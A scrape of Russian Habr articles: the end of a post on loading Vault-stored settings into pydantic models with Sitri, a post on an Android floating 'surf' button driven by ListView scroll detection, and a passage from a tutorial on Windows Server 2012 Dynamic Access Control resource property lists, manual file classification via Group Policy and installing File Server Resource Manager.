db: DBSettings = Field(default_factory=DBSettings)
faust: FaustSettings = Field(default_factory=FaustSettings)
kafka: KafkaSettings = Field(default_factory=KafkaSettings)
```
Совместим наши классы настроек в одну модель, применив default\_factory для автоматического сбора при инициализации модели всех наших данных.
Давайте запустим наш код и проверим, как всё сработается вместе:
```
from superapp.config import AppSettings
config = AppSettings()
print(config)
print(config.dict())
```
Получаем общий вывод всей конфигурации приложения:
```
db=DBSettings(user='testuser', password='testpassword', host='testhost', port=1234)
faust=FaustSettings(app_name='superapp-workers', default_partitions_count=10, default_concurrency=5, agents={'X': AgentConfig(partitions=5, concurrency=2)})
kafka=KafkaSettings(mechanism='SASL_PLAINTEXT', brokers='kafka://test', auth_data={'password': 'testpassword', 'username': 'testuser'})
```
```
{
"db":
{
"host": "testhost",
"password": "testpassword",
"port": 1234,
"user": "testuser"
},
"faust":
{
"agents":
{
"X":
{
"concurrency": 2,
"partitions": 5
}
},
"app_name": "superapp-workers",
"default_concurrency": 5,
"default_partitions_count": 10
},
"kafka":
{
"auth_data":
{
"password": "testpassword",
"username": "testuser"
},
"brokers": "kafka://test",
"mechanism": "SASL_PLAINTEXT"
}
}
```
Счастье, радость, восторг!
У нас получилась такая структура тест-проекта:
```
superapp
├── config
│ ├── app_settings.py
│ ├── database_settings.py
│ ├── faust_settings.py
│ ├── __init__.py
│ ├── kafka_settings.py
│ └── provider_config.py
├── __init__.py
└── main.py
```
Послесловие
===========
Как видите настройка достаточно проста с Sitri, после неё мы получаем чёткую схему конфигурации с нужными нам типами данных у значений, даже если в vault по-умолчанию они хранились строками.
Пишите комментарии по поводу либы, кода или общие впечатления. Буду рад любому отзыву!
P.S. [Код из статьи я залил на github](https://github.com/Egnod/article_sitri_vault_pydantic) | https://habr.com/ru/post/532032/ | null | ru | null |
# Как мы учили кнопку плавать
Сразу, наверное, стоит предупредить, что мы сделали плавающую кнопку немножко по-своему и собственно до релиза библиотеки, реализующей материальный дизайн как таковой. Но обо всем по порядку.
В нашей концепции ([приложений](https://play.google.com/store/apps/details?id=ru.surf.android.main), сайта surfingbird.ru) активно используется такое понятие как «сёрф». Сервис генерирует для пользователя набор релевантных его интересам статей и переход к следующей, рекомендуемой статье мы называем «сёрфом». После очередного редизайна мы кнопку сёрф потеряли (раньше она была сверху, в акшенбаре, и до неё было не очень удобно тянуться), чем пользователи были очень возмущены. После просмотра ролика с превью материального дизайна мы загорелись идеей реализовать нечто подобное в приложении.
С одной стороны, нам очень понравилась сама концепция крупной кнопки — на которую хочется нажать, с другой — нас сильно смущало то, что кнопка заслоняет контент и как бы отвлекает, что ли во время чтения. Тогда наш дизайнер предложил научить её «плавать».
**Перехватываем событие скроллинга**
Стандартный компонент ListView не очень-то горит желанием делиться подробной информацией о том, на сколько пикселей и в каком направлении юзер только что проскролил. В RecyclerView с этим получше, но и ListView можно без труда научить «делиться», тем более что нужная функция в нем есть. Расширяем класс:
```
/**
* Created by recoilme on 29.08.14.
*/
public class ScrollDetectingListView extends ListView {
public ScrollDetectingListView(Context context) {
super(context);
}
public ScrollDetectingListView(Context context, AttributeSet attrs) {
super(context,attrs);
}
public ScrollDetectingListView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
//we need this protected method for scroll detection
public int getVerticalScrollOffset() {
return computeVerticalScrollOffset();
}
}
```
Теперь, в активити мы можем определить в какую сторону смеcтился скролл:
```
listView = (ScrollDetectingListView) aq.id(R.id.detailmain_listview).getListView();
listView.setOnScrollListener(new AbsListView.OnScrollListener() {
private int mInitialScroll = 0;
@Override
public void onScrollStateChanged(AbsListView view, int scrollState) {
}
@Override
public void onScroll(AbsListView view, int firstVisibleItem, int visibleItemCount, int totalItemCount) {
int scrolledOffset = listView.getVerticalScrollOffset();
if (scrolledOffset!=mInitialScroll) {
//if scroll position changed
boolean scrollUp = (scrolledOffset - mInitialScroll) < 0;
mInitialScroll = scrolledOffset;
if (scrollUp) {
if (isNetworkAvailable && !animationProcess && aq.id(R.id.surfButton).getView().getVisibility() == View.GONE) {
actionBar.show();
aq.id(R.id.surfButton).animate(animFadeIn);
}
}
else {
if (isNetworkAvailable && !animationProcess && aq.id(R.id.surfButton).getView().getVisibility() == View.VISIBLE) {
actionBar.hide();
aq.id(R.id.surfButton).animate(animFadeOut);
}
}
}
}
});
```
Когда пользователь скроллит вверх — запускается анимация появления кнопки и экшенбара, когда вниз — кнопка скрывается. При нажатии — кнопка скрывается, при загрузке следующего сёрфа — появляется. Всё просто.
Собственно анимации:
```
isNetworkAvailable = UtilsApi.isOnline(activity);
if (isNetworkAvailable) {
aq.id(R.id.surfButton).visible();
}
else {
aq.id(R.id.surfButton).gone();
}
animFadeIn = AnimationUtils.loadAnimation(getApplicationContext(),
R.xml.grow_from_top);
animFadeIn.setAnimationListener(new Animation.AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
animationProcess = true;
aq.id(R.id.surfButton).visible();
}
@Override
public void onAnimationEnd(Animation animation) {
animationProcess = false;
aq.id(R.id.surfButton).visible();
}
@Override
public void onAnimationRepeat(Animation animation) {}
});
animFadeOut = AnimationUtils.loadAnimation(getApplicationContext(),
R.xml.shrink_from_top);
animFadeOut.setAnimationListener(new Animation.AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
animationProcess = true;
aq.id(R.id.surfButton).visible();
}
@Override
public void onAnimationEnd(Animation animation) {
animationProcess = false;
aq.id(R.id.surfButton).gone();
}
@Override
public void onAnimationRepeat(Animation animation) {}
});
//grow
xml version="1.0" encoding="utf-8"?
//shrink
xml version="1.0" encoding="utf-8"?
```
Вот и всё. Надеемся кому нибудь пригодится. Приятного сёрфа! | https://habr.com/ru/post/245629/ | null | ru | null |
# Динамический контроль доступа: списки свойств ресурсов и классификация файлов
Уже на протяжении трех статей этого цикла мы с вами обсуждаем интересную и относительно новую технологию, которая называется «**Динамический контроль доступа**» или же, как это звучит в оригинале, «**Dynamic Access Control**», DAC. Другими словами, если вспомнить о том, что же именно вы могли узнать ранее, то в [самой первой статье](http://habrahabr.ru/post/176467/) речь шла о самом назначении этой технологии, а также о ее преимуществах по отношению к методам управления разрешениями для данных в предыдущих операционных системах от корпорации Microsoft. [Вторая статья](http://habrahabr.ru/post/177575/) этого цикла посвящалась такой неотъемлемой части данной технологии, как утверждения, типы утверждений, а также условные выражения. [Третья часть](http://habrahabr.ru/post/203592/) была сравнительно небольшой, и из нее вы могли узнать о таком понятии, как свойства ресурсов. Сегодня мы с вами будем продолжать совмещать теорию с практическими примерами и, прежде всего, как понятно из заголовка данной статьи, продолжим тему свойств ресурсов, и я буквально в двух словах вам расскажу о таком понятии, как списки свойств ресурсов.
Более того, очень много внимания в данной, четвертой, статье этого интересного цикла будет отведено такой теме, как классификация файлов, причем, для реализации которой вы узнаете о таком средстве, как «**Диспетчер ресурсов файлового сервера**» или, проще говоря, FSRM. Следовательно, вы узнаете о самом назначении этого средства, о некоторых общих принципах работы с FSRM, а также о том, что собой представляет ручная классификация и правила классификации. То есть, как видите, материала в этой статье будет много, и, как я надеюсь, вы узнаете много новой и интересной информации. В таком случае, приступим.
Списки свойств ресурсов
-----------------------
О том, что собой представляют свойства ресурсов, вы узнали еще из предыдущей статьи. Если говорить кратко, то **свойство ресурса** – это определенная сущность, описывающая характерную особенность ресурса, которой могут выступать такие объекты как, например, файлы или папки. Посмотрим на свойства ресурсов еще глубже и постараемся определиться с тем, что собой представляют эти списки, о которых идет речь в данном разделе этой статьи. Списки свойств ресурсов в какой-то степени можно сравнить с группами безопасности в доменных службах Active Directory. Почему так, спросите вы. А здесь все просто. По аналогии с группами безопасности, **списки свойств ресурсов** позволяют вам логически сгруппировать созданные ранее объекты свойства ресурса. Иначе говоря, согласно официальному определению, логически сгруппированные объекты свойств ресурса при помощи этих самых списков свойств ресурса обеспечивают наиболее простой и эффективный метод, используемый для назначения избранного вами набора объектов свойств ресурсов, которые будут применяться для использования с определенными файловыми серверами.
Еще перед тем, как вы начнете у себя в компании или на тестовом стенде создавать объекты свойств ресурсов, в центре администрирования Active Directory операционных систем Windows Server 2012 и Windows Server 2012 R2 можно обнаружить, что за вас уже по умолчанию был создан первый объект, именуемый **Global Resource Property List**. Такой список свойств ресурсов создается для всего леса Active Directory и, так как этот список используется для всех файловых серверов компании, включенные в этот объект свойства ресурсов будут применяться во всех случаях. Именно по этой причине файловые серверы Windows Server 2012/2012 R2 могут содержать по несколько списков свойств ресурсов, которые вы уже будете создавать у себя вручную.
Получается, что именно благодаря этим спискам свойств ресурсов в дополнительных параметрах безопасности и редакторах условных выражений будут отображаться добавленные вами в списки свойств ресурсов, в частности в список Global Resource Property List, объекты свойств ресурсов безопасности. И именно по этой причине, если вы считаете, что вам нужно будет использовать какой-то объект свойства ресурса для авторизации, вам придется добавить такой объект в список Global Resource Property List. Ну а настраиваются такие списки свойств ресурсов на файловых серверах, как вы, скорее всего, уже догадались, непосредственно при помощи функциональных возможностей такой технологии, как групповая политика.
Создание и настройка списков свойств ресурсов
---------------------------------------------
Собственно, в этой части статьи теоретического материала много быть попросту не может, поэтому, пожалуй, перейдем к самой практике и посмотрим, каким именно образом можно создавать и настраивать такие списки свойств ресурсов. Как и в предыдущих случаях, такие задачи можно выполнять как при использовании центра администрирования Active Directory, так и средствами Windows PowerShell. Само собой, далее мы с вами рассмотрим оба метода.
### Создание и настройка списков свойств ресурсов при помощи центра администрирования Active Directory
Так как наиболее частой задачей, выполняемой со списками свойств ресурсов, является добавление существующих объектов свойств ресурсов в главный список Global Resource Property List, то сейчас вы узнаете о том:
* Как можно добавить новый объект в список Global Resource Property List;
* Как можно создать свой собственный список свойств ресурсов и добавить туда объект свойств ресурсов;
* А также вы узнаете о поиске свойств ресурсов среди ваших объектов списков свойств ресурсов.
Начнем по порядку, то есть с добавления нового объекта свойств ресурсов в стандартный список **Global Resource Property List**. Для это вам нужно будет:
1. На контроллере домена открыть оснастку **«Центра администрирования Active Directory»**, где в области списка нужно выделить узел **«Динамический контроль доступа»**, а затем выбрать узел **«Resource Properties Lists»** (**Dynamic Access Control > Resource Properties Lists**);
2. Теперь нам этом шаге вы можете в области **«Resource Properties Lists»** либо выбрать объект **Global Resource Property List** и открыть его диалоговое окно свойств, где вам нужно будет в группе **«Свойства ресурсов»** (**Resource Properties**) нажать на кнопку **«Добавить»** (**Add**), либо, вы можете выбрав этот объект, перейти по ссылке **«Добавить свойства ресурса»** (**Add Resource Property**) из области **«Задачи»** (**Tasks**). Сейчас я воспользуюсь именно вторым методом, так как диалоговое окно свойств списка свойств ресурсов мы с вами подробнее рассмотрим немного ниже:
[](http://habrastorage.org/storage3/fed/fe5/180/fedfe5180a6d9df2680c0c68f3c8f182.png)
**Рис. 1. Добавление свойства ресурсов из области задач к существующему списку свойств ресурсов**
3. Теперь, находясь в диалоговом окне выбора свойств ресурсов, вам следует из левого списка выбрать требуемый объект свойств ресурсов, а затем нужно будет нажать на соответствующую кнопку, которая позволит вам добавить такой объект в область **«Добавить следующие свойства ресурса» (Add the following resource properties)**. Естественно, в том случае, если нужно будет добавить несколько объектов свойств ресурсов, вы можете выбрать их, одновременно зажав клавишу CTRL. После того как ваши объекты будут добавлены, следует нажать на кнопку **«ОК»** для сохранения внесенных вами изменений. Например, в данном случае будет добавлен объект **Region**, который был создан в предыдущей статье:
[](http://habrastorage.org/storage3/3d6/1d0/2de/3d61d02de960754394473eaaaf5870ea.png)
**Рис. 2. Выбор добавляемого объекта свойства ресурсов в список**
Как видите, процедура крайне проста.
Сейчас мы с вами попробуем создать новый список свойств ресурсов и сразу же при создании добавим туда несколько объектов свойств ресурсов. Как это выглядит:
1. Находясь в том же узле центра администрирования Active Directory, то есть в узле «**Resource Properties Lists**», следует последовательно выбрать «**Создать**», а затем «**Список свойств ресурсов**» (**New > Resource Properties List**), как показано на следующей иллюстрации:
[](http://habrastorage.org/storage3/928/62d/21e/92862d21ec97ffe35412611d3ef1b784.png)
**Рис. 3. Создание нового списка свойств ресурсов**
2. Отобразившееся перед вами диалоговое окно «**Создать Список свойств ресурсов**», по сути, даже выглядит намного проще, нежели все предыдущие диалоговые окна, с которыми нам с вами приходилось сталкиваться в предыдущих статьях данного цикла. Здесь, как видно на иллюстрации ниже, можно найти лишь четыре подвластных изменениям контрола, а именно:
* **Имя (Name)**. Разумеется, это самое первое и, по сути, единственное текстовое поле, которое вам необходимо заполнить для удачного создания такого списка. Это имя должно быть уникальным, и именно оно будет отображаться в узле **Resource Properties Lists**, в пользовательском интерфейсе классификации, а также в прочих элементах консоли центра администрирования Active Directory и различных компонентов системы. Как и в случае со свойствами ресурсов, называть свои свойства ресурса вы можете в буквенно-цифровом формате. Например, наш список свойств ресурсов будет называться «**First RPL**»;
* **Описание (Description)**. Как и практически со всеми объектами, которые вы можете создать в операционной системе Windows Server, для списков свойств ресурсов вы можете добавлять описание. Оно вам непременно пригодится в том случае, когда у вас будет создано множество таких списков. Как и в большинстве случаев, в этом текстовом поле максимально допустимое количество символов – 1024. Например, в нашем случае, пусть в качестве описания будет написано **«Первый тестовый список свойств ресурсов»**;
* **Защита от случайного удаления (Protect from accidental deletion)**. Как обычно, это флажок, который сейчас можно обнаружить практически при каждом создаваемом объекте, что, естественно, сильно упрощает жизнь многим администраторам, защищая создаваемый объект от непреднамеренного или злонамеренного удаления;
* **Свойства ресурса (Resource Properties)**. Это целая группа, в которой вы можете указать все объекты свойств ресурсов, которые могут быть связаны с создаваемым вами списком. По умолчанию в эту группу не добавлен ни один объект, и это означает, что вы даже можете создать сам список без единого свойства ресурса, а добавлять их сможете уже по мере создания последних. Добавляются такие объекты в данную группу очень просто. Для этого вам нужно нажать на кнопку «**Добавить**» (**Add**), а затем, уже при помощи известного вам по предыдущей части данного раздела диалогового окна «**Выбор свойств ресурсов**» (**Select Resource Properties**), вам следует выполнить требуемые действия для добавления необходимых свойств ресурсов. Об этом уже шла речь выше, а в данном примере также будет добавлено свойство ресурса «**Region**».
[](http://habrastorage.org/storage3/7bb/539/8b7/7bb5398b70d46dd129bc431339a4b795.png)
**Рис. 4. Создание нового списка свойств ресурсов**
3. Сохраняем внесенные изменения в обоих диалоговых окнах, и после этого будет создан ваш новый список свойств ресурсов.
Удаление объектов свойств ресурсов из списков или изменение свойств самих списков выполняется по аналогии с созданием нового списка, поэтому подробно останавливаться на этом этапе не стоит.
Намного интереснее было бы рассмотреть возможности поиска объектов списков свойств ресурсов непосредственно в центре администрирования Active Directory. Как просто невозможно было бы не заметить, в узле «**Resource Property Lists**» также есть такая опция, как **«Искать в этом узле»**. При помощи этой возможности вы можете локализовать требуемые объекты свойств ресурсов, списки свойств ресурсов и прочие объекты. Нажав на кнопку «**Искать в этом узле**» из области задач, вы перейдете к **глобальному поиску**.
Здесь, находясь на странице глобального поиска, вам следует из раскрывающегося списка «**Область**» выбрать **Узлы перехода > Динамический контроль доступа**, а затем в текстовом поле поиска ввести имя искомого списка. Например, можно ввести «First», а затем нажать на кнопку поиска, как показано на следующей иллюстрации:
[](http://habrastorage.org/storage3/568/795/9c4/5687959c47d188c54290a792b4c57bb1.png)
**Рис. 5. Выполнение поиска списка свойств ресурсов.**
### Создание и настройка списков свойств ресурсов при помощи Windows PowerShell
Как я уже говорил немного выше, точно такие же операции, которые мы с вами выполняли при помощи графического интерфейса, можно еще выполнять средствами такого замечательного средства, как Windows PowerShell, которое уже у многих системных администраторов практически полноценно заменило старую добрую командную строку. Следовательно, для управления самими объектами списков свойств ресурсов вы можете воспользоваться такими командлетами, как **New-ADResourcePropertyList** (который отвечает за создание нового списка свойств ресурсов), **Set-ADResourcePropertyList** (соответственно, изменение существующего списка свойств ресурсов), а также **Remove-ADResourcePropertyList**, который предназначен, естественно, для удаления самого объекта. Более того, для того, чтобы добавить существующие объекты свойств ресурсов в уже существующий список свойств ресурсов, вы можете воспользоваться командлетом **Add-ADResourcePropertyListMember** (в свою очередь, для удаления свойств ресурсов предназначен командлет **Remove-ADResourcePropertyListMember**).
Сейчас посмотрим, как можно воспользоваться двумя командлетами: для создания самого объекта списка свойств ресурсов, а также для добавления свойства ресурса в существующий список.
**Создание нового списка свойств ресурсов**
В этом случае, при помощи указанного выше командлета, мы можем лишь создать сам объект, без добавления новых членов. Другими словами, будет выполняться следующая команда:
`New-ADResourcePropertyList -Name "Second TEST RPL" -Description "Очередной тестовый список свойств ресурсов" -ProtectedFromAccidentalDeletion $true`
В принципе, здесь параметр **Name** отвечает за имя создаваемого объекта, **Description** представляет собой его описание, а параметр ***–**ProtectedFromAccidentalDeletion***, как вам уже известно по предыдущим статьям, предназначен для защиты объекта от удаления. Вывод команды очень прост, то есть если вы не увидите никакой ошибки, то объект будет успешно создан.
**Добавление существующего свойства ресурса в созданный объект списка свойств ресурсов**
При выполнении этой задачи используемый командлет со своими параметрами на первый взгляд может показаться сложнее, но на самом деле это не так. Здесь вам нужно для начала правильно указать LDAP-путь к самому объекту списка свойств ресурсов, а затем правильно указать добавляемый член. По сути, это все. Как же будет выглядеть пример с добавлением объекта Region к объекту списка свойств ресурсов:
`Add-ADResourcePropertyListMember -Identity:"CN=Second TEST RPL,CN=Resource Property Lists,CN=Claims Configuration,CN=Services,CN=Configuration,DC=biopharmaceutic,DC=local" -Members:"CN=Region_88d0b81428dcc599,CN=Resource Properties,CN=Claims Configuration,CN=Services,CN=Configuration,DC=biopharmaceutic,DC=local"`
где параметр **Identity** позволяет вам указать объект списка свойств ресурсов, для которого собственно и выполняется добавление либо удаление члена, а параметр **Member**s позволяет указать объект свойств ресурса, который вы будете добавлять или удалять.
Как видно на следующей иллюстрации, отработают эти два командлета следующим образом:
[](http://habrastorage.org/storage3/6a7/e87/84e/6a7e8784e1419939774031462c79c1c6.png)
**Рис. 6. Вывод командлетов для создания и добавления свойства ресурса в объект списка свойств ресурсов**
Классификация файлов и введение в диспетчер ресурсов файлового сервера
----------------------------------------------------------------------
Очень часто администраторы при обслуживании своих файловых хранилищ сталкиваются с различными проблемами, связанными с тем, что увеличение количества сохраняемых данных может влиять на расходы по хранению и управлению такими данными, с тем, что на файловых серверах пользователи все чаще начинают наряду с данными компании сохранять свои личные файлы и документы, а также с самым страшным, а именно утечкой информации.
Microsoft осознали эту проблему и при помощи опроса компаний-партнеров пришли к такому выводу, что им следует внедрить в свои серверные операционные системы какой-то специфический механизм, позволяющий локализовать на основании содержимого среди тысяч файлов, сохраненных на файловых серверах, такие файлы, которые напрямую имеют отношение к бизнес-потребностям компании. Основываясь на проблемах, которые я описал выше, еще в операционной системе Windows Server 2008 R2 впервые появилось такое нововведение, как **инфраструктура классификации файлов**, которая позволяет организациям классифицировать свои файлы путем назначения конкретных свойств, а затем, используя конкретные механизмы операционных систем Windows, выполнить определенные действия с такими файлами на основе готовой классификации.
Инфраструктура классификации файлов включает в себя возможность определения свойств классификации, автоматической классификации файлов, классификации, основанной на сценариях, расположении или содержимом, а также, как было реализовано в изначальной версии, применении задач управления файлами, к которым можно отнести определение срока действия файла, различных пользовательских команд на основании выполненной классификации, а также генерацию всевозможных отчетов, которые показывают распределение классифицированных файлов на самом файловом сервере.
Классификация файлов представляет собой не обязательный, но рекомендуемый процесс при полноценной реализации такой технологии, как динамический контроль доступа. Как мы уже с вами успели выяснить в самой первой статье настоящего цикла, классификация файлов отвечает за отслеживание использования ваших корпоративных ресурсов только по назначению и наиболее эффективным образом. Иными словами, на этом этапе от вас требуется определить информацию, подлежащую классификации, и подходящий метод классификации для вашего частного случая. В принципе, это именно тот процесс, во время которого вам практически не нужно будет использовать функциональные возможности консоли центра администрирования Active Directory, либо возможности Windows PowerShell. Почему так? Об этом вы узнаете буквально через несколько минут.
Также вполне логичным может быть вопрос, связанный с тем, какая же может быть связь между такими объектами, как свойства ресурсов, а также классификацией файлов. По сути ведь сами свойства ресурсов позволяют вам устанавливать проверочные утверждения для ваших корпоративных файлов и папок. Такие вот проверочные утверждения, как вы знаете, представляют собой некоторые значения, которые вы самостоятельно указывали при создании свойств ресурсов. Между прочим, у свойств ресурсов есть замечательная особенность, заключающаяся в том, что настроенные проверочные утверждения для конкретного файла будут к нему привязаны даже в том случае, если таковой будет скопирован или вообще перемещен из одной файловой системы NTFS на другую, так как сами значения свойств ресурсов будут сохраняться в альтернативных данных целевого файла.
Выходит, что для настройки определенных файлов метаданных для ваших целевых файлов используются именно свойства ресурсов, которые в свою очередь напрямую связаны с инфраструктурой классификации файлов. А уже классифицированными файлами вы сможете управлять так, как посчитаете нужным, в том числе сможете с легкостью использовать для них все возможности динамического контроля доступа.
### Предварительные действия
К одному из предварительных этапов для классификации относится правильная и полноценная настройка списков свойств ресурсов с самими объектами свойств ресурсов, так как, как я уже успел упомянуть выше, именно они будут задействованы в самом процессе классификации файлов. И получается, что именно на этом этапе вам обязательно нужно будет использовать консоль центра администрирования Active Directory либо Windows PowerShell, так как вам придется создать или включить отключенные по умолчанию свойства ресурсов и добавить их в созданные вами списки.
Чтобы включить предустановленное свойство ресурса, вам нужно в центре администрирования перейти к узлу **Resource Properties**, выбрать требуемый объект свойства ресурса, а также, как видно на следующей иллюстрации, вызвать для него контекстное меню, а затем выбрать команду **«Включить»** (**Enable**):
[](http://habrastorage.org/storage3/cbf/baa/274/cbfbaa274c7c2f978add07fe5eca2a3d.png)
**Рис. 7. Включение отключенного свойства ресурса**
Далее в этом примере будет подразумеваться, что были включены, а также добавлены в список свойств ресурсов такие объекты свойств ресурсов, как **Company** и **Department**.
Перейдем к функциональным возможностям Windows PowerShell. Как я уже упоминал ранее, сейчас такой инструмент, как Windows PowerShell, уже позволяет использовать все те же функции, которые вы можете выполнить непосредственно при помощи центра администрирования Active Directory. Иначе говоря, чтобы включить какой-то определенный объект свойств ресурса, скажем, **Personal Use**, вам следует выполнить следующую команду:
`Set-ADResourceProperty -Enabled:$true -Identity:"CN=PersonalUse_MS,CN=Resource Properties,CN=Claims Configuration,CN=Services,CN=Configuration,DC=biopharmaceutic,DC=local" -Server:"DC.biopharmaceutic.local"`
Здесь, как вы видите, можно обратить внимание на то, что параметр **Enabled** позволяет вам включить сам объект, который уже определяется при помощи параметра **Identity**.
### Процесс классификации файлов
Еще в самой первой статье я успел упомянуть о том, что можно выделить несколько различных способов, при помощи которых вы можете проводить эту самую классификацию. К таким способам относятся:
* **Классификация вручную.** Иначе говоря, это самый простой метод, при использовании которого вам предоставляется возможность классифицировать свои корпоративные файлы вручную, используя вкладку **Классификация** диалогового окна свойств классифицируемого файла. На данном методе вы с вами остановимся подробнее;
* **Классификация на основе расположения.** Текущий метод классификации файлов, в свою очередь, можно использовать, как классифицируя файлы вручную с помощью соответствующей вкладки диалогового окна свойств вашего файла, так и используя классификатор папок в создаваемом вами правиле классификации;
* А также **классификация на основе содержимого**. В свою очередь, представляет собой наиболее интересный и централизовано распространяемый метод, который принято развертывать, используя классификатор содержимого в самом правиле классификации. Набор средств для классификации файлов содержит некоторые встроенные правила для определения персональных данных, которые вы можете обнаружить и настроить при помощи такого средства, как диспетчер ресурсов файлового сервера, на котором мы с вами обязательно остановимся более подробно.
Перейдем к самому процессу классификации файлов. И начинать мы сейчас будем с
### Классификации файлов вручную
Процесс ручной классификации довольно прост. Для начала вам следует разрешить всем компьютерам классифицировать файлы вручную, после этого, в зависимости от физических или логических подразделений, вы можете определить конкретный список свойств ресурсов, который смогут использовать требуемые компьютеры, а под конец либо вы, либо уполномоченные лица должны будут вручную проклассифицировать конкретные файлы или папки. Выглядит все это весьма просто. Посмотрим пошагово, что нужно в этом случае предпринимать:
1. В первую очередь вам нужно будет открыть оснастку «**Управление групповой политикой**» (**Group Policy Management**) и создать для требуемого подразделения объект групповой политики, который будет определять два параметра, имеющие прямое отношение к ручной классификации файлов. Например, в данном случае таким объектом будет объект групповой политики «**File Classification**», который будет связан со всем доменом. После того, как такой объект GPO будет создан, выделите его и откройте редактор управления групповыми политиками;
2. В отобразившейся оснастке GPME вам нужно будет перейти к узлу «**Конфигурация компьютера\Политики\Административные шаблоны\Система\Инфраструктура классификации файлов**» (**Computer Configuration**\**Policies**\**Administrative Templates**\**System**\**File Classification Infrastructure**) и, так как здесь можно найти только лишь два параметра групповой политики, настроить каждый из них. Что они собой представляют:
* **Инфраструктура классификации файлов: Отображение вкладки «Классификация» в проводнике (****File Classification Infrastructure: Display Classification tab in File Explorer****)**. Этот параметр политики позволяет вам включить для конечных компьютеров возможность принудительного отображения вкладки «**Классификация**» в диалоговом окне свойств выбранных вами файлов. У данного параметра нет практически никаких опций, так что для его настройки вам только нужно лишь установить переключатель на опцию «**Включено**». Как видите на следующей иллюстрации, настроенный параметр политики выглядит следующим образом:
[](http://habrastorage.org/storage3/2e7/f7a/7f4/2e7f7a7f4aabe91d106a6a7978fc61e4.png)
**Рис. 8. Настроенный параметр политики отображения вкладки классификации**
* **Инфраструктура классификации файлов: Указать список свойств классификации (****File Classification Infrastructure: Specify classification properties list****)**. В свою очередь, данный параметр политики позволяет вам определить конкретный список свойств ресурсов, который будет применяться для выбранного вами подразделения с соответствующими компьютерами. Включив данный параметр, вам еще нужно будет в соответствующем текстовом поле указать наименование интересующего вас списка свойств ресурсов. Например, как видно на следующей иллюстрации, в этом примере указывается тот объект списка свойств ресурсов, который был создан несколькими разделами выше:
[](http://habrastorage.org/storage3/8c0/ca9/a18/8c0ca9a185c0f1fba76dc71d36d48200.png)
**Рис. 9. Определение списка свойств классификации файлов**
3. После того, как параметры групповой политики будут настроены, следует закрыть оснастку редактора управления групповыми политиками и обновить на целевых компьютерах параметры групповой политики либо средствами командной строки (или Windows PowerShell), либо при использовании команды **«Обновление групповой политики»** из контекстного меню конкретного подразделения непосредственно в самой оснастке управления групповой политикой;
4. Перейдите на целевом компьютере к проводнику Windows и выберите файл, который вы хотите классифицировать. После этого вам следует вызвать для него контекстное меню и открыть диалоговое окно свойств файла. Теперь нужно будет перейти на вкладку **«Классификация»** и здесь, как вы видите на следующей иллюстрации, для вас будут доступны те же свойства ресурсов, которые были настроены для созданного ранее объекта **First RPL**. Например, можно настроить значение для свойства Region или Department:
**Рис. 10. Классификация файла**
Диспетчер ресурсов файлового сервера и классификация файлов на основе содержимого
---------------------------------------------------------------------------------
В ситуации с постоянным ростом требований к ресурсам хранилищ, по мере того как организации все больше и больше зависят от данных, ИТ-администраторам приходится следить за все более крупной и сложной инфраструктурой хранилищ, отслеживая при этом имеющиеся в них данные. В отличие от классификации файлов вручную, где вам нужно будет перебрать каждый файл, при использовании метода классификации файлов на основе содержимого вам предоставляется возможность автоматизировать большую часть данного процесса. Для снижения расходов и рисков, связанных с таким типом управления данными, в инфраструктуре классификации файлов применяется определенная платформа, позволяющая администраторам классифицировать файлы и применять политики на основе этой классификации. Используя этот метод, требования управления данными не будут оказывать никакого влияния на структуру хранилища, и организации могут легко адаптироваться к меняющейся экономической и регулятивной среде. Администраторы могут в любой момент настроить специальные политики управления файлами на основе классификации файлов, а затем всего лишь автоматически применить корпоративные требования к управлению данными в соответствии с требованиями своего бизнеса. Более того, они могут легко изменять политики и использовать для управления файлами средства, поддерживающие классификацию. Именно на этом этапе и нужно будет воспользоваться таким средством, как **диспетчер ресурсов файлового сервера**. Давайте в общих чертах рассмотрим, что же это такое.
### Диспетчер ресурсов файлового сервера
В настоящее время управление ресурсами заключается не только в управлении объемами и доступностью данных, но также и в осуществлении политик компании и очень хорошем понимании того, как используются имеющиеся хранилища. Диспетчер ресурсов файлового сервера относится к одной из ролей серверной операционной системы Windows Server 2012/2012 R2, которая помогает вам выполнять мониторинг и некий контроль своего сетевого хранилища. Такой диспетчер включает в себя отчеты, которые могут быть использованы для определения роста сетевого хранилища, а также других показателей, которые могут иметь отношение к сетевым хранилищам. Отчеты, разумеется, могут создаваться автоматически согласно графику или по требованию. Другими словами, **диспетчер ресурсов файлового сервера** – это набор средств, позволяющих администраторам разбираться с количеством и типами данных, хранящихся на их серверах, контролировать эти данные и управлять ими. Используя диспетчер ресурсов файлового сервера, администраторы могут назначать квоты томам, активно блокировать файлы и папки и создавать всеобъемлющие отчеты хранилищ. Этот набор мощных инструментальных средств не только позволяет администраторам эффективно контролировать имеющиеся ресурсы хранилищ, но также помогает планировать и реализовывать изменения в политике организации.
Далее в этой статье вы узнаете исключительно об использовании диспетчера FSRM для классификации файлов, но если вас интересует эта тема, в отдельных, не зависимых от этого цикла статьях можно рассмотреть такие темы, как управление квотами, шаблоны квот, блокировку и группы файлов с исключениями фильтра блокировки файлов, задачи истечения срока действия файлов с пользовательскими задачами управления файлами, а также различные возможности отчетностей и процессы генерации отчетов.
Сегодня же мы с вами поговорим исключительно о самой установке диспетчера ресурсов файлового сервера и о работе с классификацией файлов.
Устанавливается это средство крайне просто. Для установки диспетчера FSRM вам следует открыть диспетчер серверов, из этой консоли открыть мастер добавления ролей и компонентов, во время выбора типа установки остановиться на опции установки ролей и компонентов, выбрать из отображаемого пула серверов целевой сервер, а затем, на странице выбора ролей сервера данного мастера, как показано на следующей иллюстрации, выбрать роль «**Файловые службы и службы хранилища**» (**File and Storage Services**), развернуть ее и в группе «**Файловые службы и службы iSCSI**» (**File and iSCSI Services**) установить флажок на опции «**Диспетчер ресурсов файлового сервера**» (**File Server Resource Manager**). Далее нужно просто следовать указаниям мастера.
[](http://habrastorage.org/storage3/122/fe1/5e6/122fe15e651a23498005de9e348028a3.png)
**Рис. 11. Установка диспетчера ресурсов файлового сервера**
### Процесс классификации файлов на основе содержимого
В диспетчере FSRM для управления классификацией можно выделить два основных понятия, а именно: **свойства классификации**, а также **правила классификации**.
